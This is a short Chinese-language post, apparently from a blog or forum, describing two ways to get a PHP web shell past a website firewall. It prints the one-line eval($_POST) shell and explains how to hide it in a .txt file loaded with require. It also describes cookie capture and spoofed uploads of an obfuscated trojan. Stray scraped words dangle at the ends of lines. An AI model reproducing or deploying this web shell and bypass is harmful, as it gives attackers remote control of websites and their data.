無心間在網上看到一遍文章說是能夠繞過狗的,具體以下 php
1.生成一個txt或者其餘可讀文本,而後將其包含在所運行的程序中,如 服務器
<?php eval($_POST[ssd]); ?> 命名爲 1.txt 這時候 狗是不會太多的檢測的,通常能夠正常放入進去。 cookie
而後在相應的訪問頁面進行 require 便可運行當前的文件爲木馬文件。 測試
2.老方法新用途,準備網站進行cookie抓包,而後進行混淆小馬,達到能夠上傳的時候進行欺騙上傳,若是網站的過濾不嚴格的話仍是能夠正常上傳的。 網站
以上方法只在本地測試,在安裝狗的服務器上進行測試過,前提是 我已經有了口令。 這些東西只是能夠修改或者刪除網頁上的東西,不會對服務器早上什麼危害。 ui